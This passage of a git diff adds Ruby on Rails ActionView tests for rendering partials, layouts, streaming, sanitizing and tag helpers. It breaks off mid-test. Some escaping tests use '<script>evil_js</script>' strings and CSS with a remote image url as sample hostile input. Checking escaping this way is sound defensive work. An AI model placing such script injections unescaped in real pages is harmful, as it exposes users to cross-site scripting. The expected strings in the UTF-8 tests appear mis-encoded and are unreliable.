+ "make sure your partial name starts with a lowercase letter or underscore, " +
+ "and is followed by any combination of letters, numbers and underscores.", e.message
+ end
+
+ def test_render_partial_with_incompatible_object
+ e = assert_raises(ArgumentError) { @view.render(:partial => nil) }
+ assert_equal "'#{nil.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.", e.message
+ end
+
+ def test_render_partial_with_hyphen
+ e = assert_raises(ArgumentError) { @view.render(:partial => "test/a-in") }
+ assert_equal "The partial name (test/a-in) is not a valid Ruby identifier; " +
+ "make sure your partial name starts with a lowercase letter or underscore, " +
+ "and is followed by any combination of letters, numbers and underscores.", e.message
+ end
+
+ def test_render_partial_with_errors
+ e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise") }
+ assert_match %r!method.*doesnt_exist!, e.message
+ assert_equal "", e.sub_template_message
+ assert_equal "1", e.line_number
+ assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code.strip
+ assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+ end
+
+ def test_render_error_indentation
+ e = assert_raises(ActionView::Template::Error) { @view.render(:partial => "test/raise_indentation") }
+ error_lines = e.annoted_source_code.split("\n")
+ assert_match %r!error\shere!, e.message
+ assert_equal "11", e.line_number
+ assert_equal " 9: <p>Ninth paragraph</p>", error_lines.second
+ assert_equal " 10: <p>Tenth paragraph</p>", error_lines.third
+ end
+
+ def test_render_sub_template_with_errors
+ e = assert_raises(ActionView::Template::Error) { @view.render(:template => "test/sub_template_raise") }
+ assert_match %r!method.*doesnt_exist!, e.message
+ assert_equal "Trace of template inclusion: #{File.expand_path("#{FIXTURE_LOAD_PATH}/test/sub_template_raise.html.erb")}", e.sub_template_message
+ assert_equal "1", e.line_number
+ assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+ end
+
+ def test_render_file_with_errors
+ e = assert_raises(ActionView::Template::Error) { @view.render(:file => File.expand_path("test/_raise", FIXTURE_LOAD_PATH)) }
+ assert_match %r!method.*doesnt_exist!, e.message
+ assert_equal "", e.sub_template_message
+ assert_equal "1", e.line_number
+ assert_equal "1: <%= doesnt_exist %>", e.annoted_source_code.strip
+ assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+ end
+
+ def test_render_object
+ assert_equal "Hello: david", @view.render(:partial => "test/customer", :object => Customer.new("david"))
+ end
+
+ def test_render_object_with_array
+ assert_equal "[1, 2, 3]", @view.render(:partial => "test/object_inspector", :object => [1, 2, 3])
+ end
+
+ def test_render_partial_collection
+ assert_equal "Hello: davidHello: mary", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ])
+ end
+
+ def test_render_partial_collection_as_by_string
+ assert_equal "david david davidmary mary mary",
+ @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => 'customer')
+ end
+
+ def test_render_partial_collection_as_by_symbol
+ assert_equal "david david davidmary mary mary",
+ @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer)
+ end
+
+ def test_render_partial_collection_without_as
+ assert_equal "local_inspector,local_inspector_counter,local_inspector_iteration",
+ @view.render(:partial => "test/local_inspector", :collection => [ Customer.new("mary") ])
+ end
+
+ def test_render_partial_with_empty_collection_should_return_nil
+ assert_nil @view.render(:partial => "test/customer", :collection => [])
+ end
+
+ def test_render_partial_with_nil_collection_should_return_nil
+ assert_nil @view.render(:partial => "test/customer", :collection => nil)
+ end
+
+ def test_render_partial_with_nil_values_in_collection
+ assert_equal "Hello: davidHello: Anonymous", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), nil ])
+ end
+
+ def test_render_partial_with_layout_using_collection_and_template
+ assert_equal "<b>Hello: Amazon</b><b>Hello: Yahoo</b>", @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+ end
+
+ def test_render_partial_with_layout_using_collection_and_template_makes_current_item_available_in_layout
+ assert_equal '<b class="amazon">Hello: Amazon</b><b class="yahoo">Hello: Yahoo</b>',
+ @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+ end
+
+ def test_render_partial_with_layout_using_collection_and_template_makes_current_item_counter_available_in_layout
+ assert_equal '<b data-counter="0">Hello: Amazon</b><b data-counter="1">Hello: Yahoo</b>',
+ @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object_counter', :collection => [ Customer.new("Amazon"), Customer.new("Yahoo") ])
+ end
+
+ def test_render_partial_with_layout_using_object_and_template_makes_object_available_in_layout
+ assert_equal '<b class="amazon">Hello: Amazon</b>',
+ @view.render(:partial => "test/customer", :layout => 'test/b_layout_for_partial_with_object', :object => Customer.new("Amazon"))
+ end
+
+ def test_render_partial_with_empty_array_should_return_nil
+ assert_nil @view.render(:partial => [])
+ end
+
+ def test_render_partial_using_string
+ assert_equal "Hello: Anonymous", @controller_view.render('customer')
+ end
+
+ def test_render_partial_with_locals_using_string
+ assert_equal "Hola: david", @controller_view.render('customer_greeting', :greeting => 'Hola', :customer_greeting => Customer.new("david"))
+ end
+
+ def test_render_partial_with_object_uses_render_partial_path
+ assert_equal "Hello: lifo",
+ @controller_view.render(:partial => Customer.new("lifo"), :locals => {:greeting => "Hello"})
+ end
+
+ def test_render_partial_with_object_and_format_uses_render_partial_path
+ assert_equal "<greeting>Hello</greeting><name>lifo</name>",
+ @controller_view.render(:partial => Customer.new("lifo"), :formats => :xml, :locals => {:greeting => "Hello"})
+ end
+
+ def test_render_partial_using_object
+ assert_equal "Hello: lifo",
+ @controller_view.render(Customer.new("lifo"), :greeting => "Hello")
+ end
+
+ def test_render_partial_using_collection
+ customers = [ Customer.new("Amazon"), Customer.new("Yahoo") ]
+ assert_equal "Hello: AmazonHello: Yahoo",
+ @controller_view.render(customers, :greeting => "Hello")
+ end
+
+ def test_render_partial_using_collection_without_path
+ assert_equal "hi good customer: david0", @controller_view.render([ GoodCustomer.new("david") ], greeting: "hi")
+ end
+
+ def test_render_partial_without_object_or_collection_does_not_generate_partial_name_local_variable
+ exception = assert_raises ActionView::Template::Error do
+ @controller_view.render("partial_name_local_variable")
+ end
+ assert_instance_of NameError, exception.original_exception
+ assert_equal :partial_name_local_variable, exception.original_exception.name
+ end
+
+ # TODO: The reason for this test is unclear, improve documentation
+ def test_render_partial_and_fallback_to_layout
+ assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" })
+ end
+
+ # TODO: The reason for this test is unclear, improve documentation
+ def test_render_missing_xml_partial_and_raise_missing_template
+ @view.formats = [:xml]
+ assert_raises(ActionView::MissingTemplate) { @view.render(:partial => "test/layout_for_partial") }
+ ensure
+ @view.formats = nil
+ end
+
+ def test_render_layout_with_block_and_other_partial_inside
+ render = @view.render(:layout => "test/layout_with_partial_and_yield") { "Yield!" }
+ assert_equal "Before\npartial html\nYield!\nAfter\n", render
+ end
+
+ def test_render_inline
+ assert_equal "Hello, World!", @view.render(:inline => "Hello, World!")
+ end
+
+ def test_render_inline_with_locals
+ assert_equal "Hello, Josh!", @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" })
+ end
+
+ def test_render_fallbacks_to_erb_for_unknown_types
+ assert_equal "Hello, World!", @view.render(:inline => "Hello, World!", :type => :bar)
+ end
+
+ CustomHandler = lambda do |template|
+ "@output_buffer = ''\n" +
+ "@output_buffer << 'source: #{template.source.inspect}'\n"
+ end
+
+ def test_render_inline_with_render_from_to_proc
+ ActionView::Template.register_template_handler :ruby_handler, :source.to_proc
+ assert_equal '3', @view.render(inline: "(1 + 2).to_s", type: :ruby_handler)
+ ensure
+ ActionView::Template.unregister_template_handler :ruby_handler
+ end
+
+ def test_render_inline_with_compilable_custom_type
+ ActionView::Template.register_template_handler :foo, CustomHandler
+ assert_equal 'source: "Hello, World!"', @view.render(inline: "Hello, World!", type: :foo)
+ ensure
+ ActionView::Template.unregister_template_handler :foo
+ end
+
+ def test_render_inline_with_locals_and_compilable_custom_type
+ ActionView::Template.register_template_handler :foo, CustomHandler
+ assert_equal 'source: "Hello, <%= name %>!"', @view.render(inline: "Hello, <%= name %>!", locals: { name: "Josh" }, type: :foo)
+ ensure
+ ActionView::Template.unregister_template_handler :foo
+ end
+
+ def test_render_body
+ assert_equal 'some body', @view.render(body: 'some body')
+ end
+
+ def test_render_plain
+ assert_equal 'some plaintext', @view.render(plain: 'some plaintext')
+ end
+
+ def test_render_knows_about_types_registered_when_extensions_are_checked_earlier_in_initialization
+ ActionView::Template::Handlers.extensions
+ ActionView::Template.register_template_handler :foo, CustomHandler
+ assert ActionView::Template::Handlers.extensions.include?(:foo)
+ ensure
+ ActionView::Template.unregister_template_handler :foo
+ end
+
+ def test_render_does_not_use_unregistered_extension_and_template_handler
+ ActionView::Template.register_template_handler :foo, CustomHandler
+ ActionView::Template.unregister_template_handler :foo
+ assert_not ActionView::Template::Handlers.extensions.include?(:foo)
+ assert_equal "Hello, World!", @view.render(inline: "Hello, World!", type: :foo)
+ ensure
+ ActionView::Template::Handlers.class_variable_get(:@@template_handlers).delete(:foo)
+ end
+
+ def test_render_ignores_templates_with_malformed_template_handlers
+ ActiveSupport::Deprecation.silence do
+ %w(malformed malformed.erb malformed.html.erb malformed.en.html.erb).each do |name|
+ assert File.exist?(File.expand_path("#{FIXTURE_LOAD_PATH}/test/malformed/#{name}~")), "Malformed file (#{name}~) which should be ignored does not exists"
+ assert_raises(ActionView::MissingTemplate) { @view.render(:file => "test/malformed/#{name}") }
+ end
+ end
+ end
+
+ def test_render_with_layout
+ assert_equal %(<title></title>\nHello world!\n),
+ @view.render(:file => "test/hello_world", :layout => "layouts/yield")
+ end
+
+ def test_render_with_layout_which_has_render_inline
+ assert_equal %(welcome\nHello world!\n),
+ @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside")
+ end
+
+ def test_render_with_layout_which_renders_another_partial
+ assert_equal %(partial html\nHello world!\n),
+ @view.render(:file => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside")
+ end
+
+ def test_render_layout_with_block_and_yield
+ assert_equal %(Content from block!\n),
+ @view.render(:layout => "layouts/yield_only") { "Content from block!" }
+ end
+
+ def test_render_layout_with_block_and_yield_with_params
+ assert_equal %(Yield! Content from block!\n),
+ @view.render(:layout => "layouts/yield_with_params") { |param| "#{param} Content from block!" }
+ end
+
+ def test_render_layout_with_block_which_renders_another_partial_and_yields
+ assert_equal %(partial html\nContent from block!\n),
+ @view.render(:layout => "layouts/partial_and_yield") { "Content from block!" }
+ end
+
+ def test_render_partial_and_layout_without_block_with_locals
+ assert_equal %(Before (Foo!)\npartial html\nAfter),
+ @view.render(:partial => 'test/partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+ end
+
+ def test_render_partial_and_layout_without_block_with_locals_and_rendering_another_partial
+ assert_equal %(Before (Foo!)\npartial html\npartial with partial\n\nAfter),
+ @view.render(:partial => 'test/partial_with_partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+ end
+
+ def test_render_layout_with_a_nested_render_layout_call
+ assert_equal %(Before (Foo!)\nBefore (Bar!)\npartial html\nAfter\npartial with layout\n\nAfter),
+ @view.render(:partial => 'test/partial_with_layout', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+ end
+
+ def test_render_layout_with_a_nested_render_layout_call_using_block_with_render_partial
+ assert_equal %(Before (Foo!)\nBefore (Bar!)\n\n partial html\n\nAfterpartial with layout\n\nAfter),
+ @view.render(:partial => 'test/partial_with_layout_block_partial', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+ end
+
+ def test_render_layout_with_a_nested_render_layout_call_using_block_with_render_content
+ assert_equal %(Before (Foo!)\nBefore (Bar!)\n\n Content from inside layout!\n\nAfterpartial with layout\n\nAfter),
+ @view.render(:partial => 'test/partial_with_layout_block_content', :layout => 'test/layout_for_partial', :locals => { :name => 'Foo!'})
+ end
+
+ def test_render_partial_with_layout_raises_descriptive_error
+ e = assert_raises(ActionView::MissingTemplate) { @view.render(partial: 'test/partial', layout: true) }
+ assert_match "Missing partial /_true with", e.message
+ end
+
+ def test_render_with_nested_layout
+ assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
+ @view.render(:file => "test/nested_layout", :layout => "layouts/yield")
+ end
+
+ def test_render_with_file_in_layout
+ assert_equal %(\n<title>title</title>\n\n),
+ @view.render(:file => "test/layout_render_file")
+ end
+
+ def test_render_layout_with_object
+ assert_equal %(<title>David</title>),
+ @view.render(:file => "test/layout_render_object")
+ end
+
+ def test_render_with_passing_couple_extensions_to_one_register_template_handler_function_call
+ ActionView::Template.register_template_handler :foo1, :foo2, CustomHandler
+ assert_equal @view.render(inline: "Hello, World!", type: :foo1), @view.render(inline: "Hello, World!", type: :foo2)
+ ensure
+ ActionView::Template.unregister_template_handler :foo1, :foo2
+ end
+
+ def test_render_throws_exception_when_no_extensions_passed_to_register_template_handler_function_call
+ assert_raises(ArgumentError) { ActionView::Template.register_template_handler CustomHandler }
+ end
+end
+
+class CachedViewRenderTest < ActiveSupport::TestCase
+ include RenderTestCases
+
+ # Ensure view path cache is primed
+ def setup
+ view_paths = ActionController::Base.view_paths
+ assert_equal ActionView::OptimizedFileSystemResolver, view_paths.first.class
+ setup_view(view_paths)
+ end
+
+ def teardown
+ GC.start
+ I18n.reload!
+ end
+end
+
+class LazyViewRenderTest < ActiveSupport::TestCase
+ include RenderTestCases
+
+ # Test the same thing as above, but make sure the view path
+ # is not eager loaded
+ def setup
+ path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+ view_paths = ActionView::PathSet.new([path])
+ assert_equal ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH), view_paths.first
+ setup_view(view_paths)
+ end
+
+ def teardown
+ GC.start
+ I18n.reload!
+ end
+
+ def test_render_utf8_template_with_magic_comment
+ with_external_encoding Encoding::ASCII_8BIT do
+ result = @view.render(:file => "test/utf8_magic", :formats => [:html], :layouts => "layouts/yield")
+ assert_equal Encoding::UTF_8, result.encoding
+ assert_equal "\nРуÑÑкий \nтекÑÑ‚\n\nUTF-8\nUTF-8\nUTF-8\n", result
+ end
+ end
+
+ def test_render_utf8_template_with_default_external_encoding
+ with_external_encoding Encoding::UTF_8 do
+ result = @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield")
+ assert_equal Encoding::UTF_8, result.encoding
+ assert_equal "РуÑÑкий текÑÑ‚\n\nUTF-8\nUTF-8\nUTF-8\n", result
+ end
+ end
+
+ def test_render_utf8_template_with_incompatible_external_encoding
+ with_external_encoding Encoding::SHIFT_JIS do
+ e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8", :formats => [:html], :layouts => "layouts/yield") }
+ assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message
+ end
+ end
+
+ def test_render_utf8_template_with_partial_with_incompatible_encoding
+ with_external_encoding Encoding::SHIFT_JIS do
+ e = assert_raises(ActionView::Template::Error) { @view.render(:file => "test/utf8_magic_with_bare_partial", :formats => [:html], :layouts => "layouts/yield") }
+ assert_match 'Your template was not saved as valid Shift_JIS', e.original_exception.message
+ end
+ end
+
+ def with_external_encoding(encoding)
+ old = Encoding.default_external
+ silence_warnings { Encoding.default_external = encoding }
+ yield
+ ensure
+ silence_warnings { Encoding.default_external = old }
+ end
+end
diff --git a/actionview/test/template/resolver_patterns_test.rb b/actionview/test/template/resolver_patterns_test.rb
new file mode 100644
index 0000000000..575eb9bd28
--- /dev/null
+++ b/actionview/test/template/resolver_patterns_test.rb
@@ -0,0 +1,31 @@
+require 'abstract_unit'
+
+class ResolverPatternsTest < ActiveSupport::TestCase
+ def setup
+ path = File.expand_path("../../fixtures/", __FILE__)
+ pattern = ":prefix/{:formats/,}:action{.:formats,}{.:handlers,}"
+ @resolver = ActionView::FileSystemResolver.new(path, pattern)
+ end
+
+ def test_should_return_empty_list_for_unknown_path
+ templates = @resolver.find_all("unknown", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
+ assert_equal [], templates, "expected an empty list of templates"
+ end
+
+ def test_should_return_template_for_declared_path
+ templates = @resolver.find_all("path", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
+ assert_equal 1, templates.size, "expected one template"
+ assert_equal "Hello custom patterns!", templates.first.source
+ assert_equal "custom_pattern/path", templates.first.virtual_path
+ assert_equal [:html], templates.first.formats
+ end
+
+ def test_should_return_all_templates_when_ambiguous_pattern
+ templates = @resolver.find_all("another", "custom_pattern", false, {:locale => [], :formats => [:html], :handlers => [:erb]})
+ assert_equal 2, templates.size, "expected two templates"
+ assert_equal "Another template!", templates[0].source
+ assert_equal "custom_pattern/another", templates[0].virtual_path
+ assert_equal "Hello custom patterns!", templates[1].source
+ assert_equal "custom_pattern/another", templates[1].virtual_path
+ end
+end
diff --git a/actionview/test/template/sanitize_helper_test.rb b/actionview/test/template/sanitize_helper_test.rb
new file mode 100644
index 0000000000..e4be21be2c
--- /dev/null
+++ b/actionview/test/template/sanitize_helper_test.rb
@@ -0,0 +1,35 @@
+require 'abstract_unit'
+
+# The exhaustive tests are in test/controller/html/sanitizer_test.rb.
+# This tests that the helpers hook up correctly to the sanitizer classes.
+class SanitizeHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::SanitizeHelper
+
+ def test_strip_links
+ assert_equal "Dont touch me", strip_links("Dont touch me")
+ assert_equal "on my mind\nall day long", strip_links("<a href='almost'>on my mind</a>\n<A href='almost'>all day long</A>")
+ assert_equal "Magic", strip_links("<a href='http://www.rubyonrails.com/'>Mag<a href='http://www.ruby-lang.org/'>ic")
+ assert_equal "My mind\nall <b>day</b> long", strip_links("<a href='almost'>My mind</a>\n<A href='almost'>all <b>day</b> long</A>")
+ end
+
+ def test_sanitize_form
+ assert_equal '', sanitize("<form action=\"/foo/bar\" method=\"post\"><input></form>")
+ end
+
+ def test_should_sanitize_illegal_style_properties
+ raw = %(display:block; position:absolute; left:0; top:0; width:100%; height:100%; z-index:1; background-color:black; background-image:url(http://www.ragingplatypus.com/i/cam-full.jpg); background-x:center; background-y:center; background-repeat:repeat;)
+ expected = %(display: block; width: 100%; height: 100%; background-color: black; background-x: center; background-y: center;)
+ assert_equal expected, sanitize_css(raw)
+ end
+
+ def test_strip_tags
+ assert_equal("Dont touch me", strip_tags("Dont touch me"))
+ assert_equal("This is a test.", strip_tags("<p>This <u>is<u> a <a href='test.html'><strong>test</strong></a>.</p>"))
+ assert_equal "This has a here.", strip_tags("This has a <!-- comment --> here.")
+ assert_equal "", strip_tags("<script>")
+ end
+
+ def test_sanitize_is_marked_safe
+ assert sanitize("<html><script></script></html>").html_safe?
+ end
+end
diff --git a/actionview/test/template/streaming_render_test.rb b/actionview/test/template/streaming_render_test.rb
new file mode 100644
index 0000000000..8a24d78e74
--- /dev/null
+++ b/actionview/test/template/streaming_render_test.rb
@@ -0,0 +1,108 @@
+# encoding: utf-8
+require 'abstract_unit'
+
+class TestController < ActionController::Base
+end
+
+class FiberedTest < ActiveSupport::TestCase
+ def setup
+ view_paths = ActionController::Base.view_paths
+ @assigns = { :secret => 'in the sauce', :name => nil }
+ @view = ActionView::Base.new(view_paths, @assigns)
+ @controller_view = TestController.new.view_context
+ end
+
+ def render_body(options)
+ @view.view_renderer.render_body(@view, options)
+ end
+
+ def buffered_render(options)
+ body = render_body(options)
+ string = ""
+ body.each do |piece|
+ string << piece
+ end
+ string
+ end
+
+ def test_streaming_works
+ content = []
+ body = render_body(:template => "test/hello_world", :layout => "layouts/yield")
+
+ body.each do |piece|
+ content << piece
+ end
+
+ assert_equal "<title>", content[0]
+ assert_equal "", content[1]
+ assert_equal "</title>\n", content[2]
+ assert_equal "Hello world!", content[3]
+ assert_equal "\n", content[4]
+ end
+
+ def test_render_file
+ assert_equal "Hello world!", buffered_render(:file => "test/hello_world")
+ end
+
+ def test_render_file_with_locals
+ locals = { :secret => 'in the sauce' }
+ assert_equal "The secret is in the sauce\n", buffered_render(:file => "test/render_file_with_locals", :locals => locals)
+ end
+
+ def test_render_partial
+ assert_equal "only partial", buffered_render(:partial => "test/partial_only")
+ end
+
+ def test_render_inline
+ assert_equal "Hello, World!", buffered_render(:inline => "Hello, World!")
+ end
+
+ def test_render_without_layout
+ assert_equal "Hello world!", buffered_render(:template => "test/hello_world")
+ end
+
+ def test_render_with_layout
+ assert_equal %(<title></title>\nHello world!\n),
+ buffered_render(:template => "test/hello_world", :layout => "layouts/yield")
+ end
+
+ def test_render_with_layout_which_has_render_inline
+ assert_equal %(welcome\nHello world!\n),
+ buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_inline_inside")
+ end
+
+ def test_render_with_layout_which_renders_another_partial
+ assert_equal %(partial html\nHello world!\n),
+ buffered_render(:template => "test/hello_world", :layout => "layouts/yield_with_render_partial_inside")
+ end
+
+ def test_render_with_nested_layout
+ assert_equal %(<title>title</title>\n\n<div id="column">column</div>\n<div id="content">content</div>\n),
+ buffered_render(:template => "test/nested_layout", :layout => "layouts/yield")
+ end
+
+ def test_render_with_file_in_layout
+ assert_equal %(\n<title>title</title>\n\n),
+ buffered_render(:template => "test/layout_render_file")
+ end
+
+ def test_render_with_handler_without_streaming_support
+ assert_match "<p>This is grand!</p>", buffered_render(:template => "test/hello")
+ end
+
+ def test_render_with_streaming_multiple_yields_provide_and_content_for
+ assert_equal "Yes, \nthis works\n like a charm.",
+ buffered_render(:template => "test/streaming", :layout => "layouts/streaming")
+ end
+
+ def test_render_with_streaming_with_fake_yields_and_streaming_buster
+ assert_equal "This won't look\n good.",
+ buffered_render(:template => "test/streaming_buster", :layout => "layouts/streaming")
+ end
+
+ def test_render_with_nested_streaming_multiple_yields_provide_and_content_for
+ assert_equal "?Yes, \n\nthis works\n\n? like a charm.",
+ buffered_render(:template => "test/nested_streaming", :layout => "layouts/streaming")
+ end
+
+end
diff --git a/actionview/test/template/tag_helper_test.rb b/actionview/test/template/tag_helper_test.rb
new file mode 100644
index 0000000000..ce89d5728e
--- /dev/null
+++ b/actionview/test/template/tag_helper_test.rb
@@ -0,0 +1,166 @@
+require 'abstract_unit'
+
+class TagHelperTest < ActionView::TestCase
+ include RenderERBUtils
+
+ tests ActionView::Helpers::TagHelper
+
+ def test_tag
+ assert_equal "<br />", tag("br")
+ assert_equal "<br clear=\"left\" />", tag(:br, :clear => "left")
+ assert_equal "<br>", tag("br", nil, true)
+ end
+
+ def test_tag_options
+ str = tag("p", "class" => "show", :class => "elsewhere")
+ assert_match(/class="show"/, str)
+ assert_match(/class="elsewhere"/, str)
+ end
+
+ def test_tag_options_rejects_nil_option
+ assert_equal "<p />", tag("p", :ignored => nil)
+ end
+
+ def test_tag_options_accepts_false_option
+ assert_equal "<p value=\"false\" />", tag("p", :value => false)
+ end
+
+ def test_tag_options_accepts_blank_option
+ assert_equal "<p included=\"\" />", tag("p", :included => '')
+ end
+
+ def test_tag_options_converts_boolean_option
+ assert_dom_equal '<p disabled="disabled" itemscope="itemscope" multiple="multiple" readonly="readonly" allowfullscreen="allowfullscreen" seamless="seamless" typemustmatch="typemustmatch" sortable="sortable" default="default" inert="inert" truespeed="truespeed" />',
+ tag("p", :disabled => true, :itemscope => true, :multiple => true, :readonly => true, :allowfullscreen => true, :seamless => true, :typemustmatch => true, :sortable => true, :default => true, :inert => true, :truespeed => true)
+ end
+
+ def test_content_tag
+ assert_equal "<a href=\"create\">Create</a>", content_tag("a", "Create", "href" => "create")
+ assert content_tag("a", "Create", "href" => "create").html_safe?
+ assert_equal content_tag("a", "Create", "href" => "create"),
+ content_tag("a", "Create", :href => "create")
+ assert_equal "<p>&lt;script&gt;evil_js&lt;/script&gt;</p>",
+ content_tag(:p, '<script>evil_js</script>')
+ assert_equal "<p><script>evil_js</script></p>",
+ content_tag(:p, '<script>evil_js</script>', nil, false)
+ end
+
+ def test_content_tag_with_block_in_erb
+ buffer = render_erb("<%= content_tag(:div) do %>Hello world!<% end %>")
+ assert_dom_equal "<div>Hello world!</div>", buffer
+ end
+
+ def test_content_tag_with_block_and_options_in_erb
+ buffer = render_erb("<%= content_tag(:div, :class => 'green') do %>Hello world!<% end %>")
+ assert_dom_equal %(<div class="green">Hello world!</div>), buffer
+ end
+
+ def test_content_tag_with_block_and_options_out_of_erb
+ assert_dom_equal %(<div class="green">Hello world!</div>), content_tag(:div, :class => "green") { "Hello world!" }
+ end
+
+ def test_content_tag_with_block_and_options_outside_out_of_erb
+ assert_equal content_tag("a", "Create", :href => "create"),
+ content_tag("a", "href" => "create") { "Create" }
+ end
+
+ def test_content_tag_nested_in_content_tag_out_of_erb
+ assert_equal content_tag("p", content_tag("b", "Hello")),
+ content_tag("p") { content_tag("b", "Hello") },
+ output_buffer
+ end
+
+ def test_content_tag_nested_in_content_tag_in_erb
+ assert_equal "<p>\n <b>Hello</b>\n</p>", view.render("test/content_tag_nested_in_content_tag")
+ end
+
+ def test_content_tag_with_escaped_array_class
+ str = content_tag('p', "limelight", :class => ["song", "play>"])
+ assert_equal "<p class=\"song play&gt;\">limelight</p>", str
+
+ str = content_tag('p', "limelight", :class => ["song", "play"])
+ assert_equal "<p class=\"song play\">limelight</p>", str
+
+ str = content_tag('p', "limelight", :class => ["song", ["play"]])
+ assert_equal "<p class=\"song play\">limelight</p>", str
+ end
+
+ def test_content_tag_with_unescaped_array_class
+ str = content_tag('p', "limelight", {:class => ["song", "play>"]}, false)
+ assert_equal "<p class=\"song play>\">limelight</p>", str
+
+ str = content_tag('p', "limelight", {:class => ["song", ["play>"]]}, false)
+ assert_equal "<p class=\"song play>\">limelight</p>", str
+ end
+
+ def test_content_tag_with_empty_array_class
+ str = content_tag('p', 'limelight', {:class => []})
+ assert_equal '<p class="">limelight</p>', str
+ end
+
+ def test_content_tag_with_unescaped_empty_array_class
+ str = content_tag('p', 'limelight', {:class => []}, false)
+ assert_equal '<p class="">limelight</p>', str
+ end
+
+ def test_content_tag_with_data_attributes
+ assert_dom_equal '<p data-number="1" data-string="hello" data-string-with-quotes="double&quot;quote&quot;party&quot;">limelight</p>',
+ content_tag('p', "limelight", data: { number: 1, string: 'hello', string_with_quotes: 'double"quote"party"' })
+ end
+
+ def test_cdata_section
+ assert_equal "<![CDATA[<hello world>]]>", cdata_section("<hello world>")
+ end
+
+ def test_cdata_section_with_string_conversion
+ assert_equal "<![CDATA[]]>", cdata_section(nil)
+ end
+
+ def test_cdata_section_splitted
+ assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]>", cdata_section("hello]]>world")
+ assert_equal "<![CDATA[hello]]]]><![CDATA[>world]]]]><![CDATA[>again]]>", cdata_section("hello]]>world]]>again")
+ end
+
+ def test_escape_once
+ assert_equal '1 &lt; 2 &amp; 3', escape_once('1 < 2 &amp; 3')
+ assert_equal " &#X27; &#x27; &#x03BB; &#X03bb; &quot; &#39; &lt; &gt; ", escape_once(" &#X27; &#x27; &#x03BB; &#X03bb; \" ' < > ")
+ end
+
+ def test_tag_honors_html_safe_for_param_values
+ ['1&amp;2', '1 &lt; 2', '&#8220;test&#8220;'].each do |escaped|
+ assert_equal %(<a href="#{escaped}" />), tag('a', :href => escaped.html_safe)
+ end
+ end
+
+ def test_tag_honors_html_safe_with_escaped_array_class
+ str = tag('p', :class => ['song>', 'play>'.html_safe])
+ assert_equal '<p class="song&gt; play>" />', str
+
+ str = tag('p', :class => ['song>'.html_safe, 'play>'])
+ assert_equal '<p class="song> play&gt;" />', str
+ end
+
+ def test_skip_invalid_escaped_attributes
+ ['&1;', '&#1dfa3;', '& #123;'].each do |escaped|
+ assert_equal %(<a href="#{escaped.gsub(/&/, '&amp;')}" />), tag('a', :href => escaped)
+ end
+ end
+
+ def test_disable_escaping
+ assert_equal '<a href="&amp;" />', tag('a', { :href => '&amp;' }, false, false)
+ end
+
+ def test_data_attributes
+ ['data', :data].each { |data|
+ assert_dom_equal '<a data-a-float="3.14" data-a-big-decimal="-123.456" data-a-number="1" data-array="[1,2,3]" data-hash="{&quot;key&quot;:&quot;value&quot;}" data-string-with-quotes="double&quot;quote&quot;party&quot;" data-string="hello" data-symbol="foo" />',
+ tag('a', { data => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: 'hello', symbol: :foo, array: [1, 2, 3], hash: { key: 'value'}, string_with_quotes: 'double"quote"party"' } })
+ }
+ end
+
+ def test_aria_attributes
+ ['aria', :aria].each { |aria|
+ assert_dom_equal '<a aria-a-float="3.14" aria-a-big-decimal="-123.456" aria-a-number="1" aria-array="[1,2,3]" aria-hash="{&quot;key&quot;:&quot;value&quot;}" aria-string-with-quotes="double&quot;quote&quot;party&quot;" aria-string="hello" aria-symbol="foo" />',
+ tag('a', { aria => { a_float: 3.14, a_big_decimal: BigDecimal.new("-123.456"), a_number: 1, string: 'hello', symbol: :foo, array: [1, 2, 3], hash: { key: 'value'}, string_with_quotes: 'double"quote"party"' } })
+ }
+ end
+end
diff --git a/actionview/test/template/template_error_test.rb b/actionview/test/template/template_error_test.rb
new file mode 100644
index 0000000000..3971ec809c
--- /dev/null
+++ b/actionview/test/template/template_error_test.rb
@@ -0,0 +1,20 @@
+require "abstract_unit"
+
+class TemplateErrorTest < ActiveSupport::TestCase
+ def test_provides_original_message
+ error = ActionView::Template::Error.new("test", Exception.new("original"))
+ assert_equal "original", error.message
+ end
+
+ def test_provides_original_backtrace
+ original_exception = Exception.new
+ original_exception.set_backtrace(%W[ foo bar baz ])
+ error = ActionView::Template::Error.new("test", original_exception)
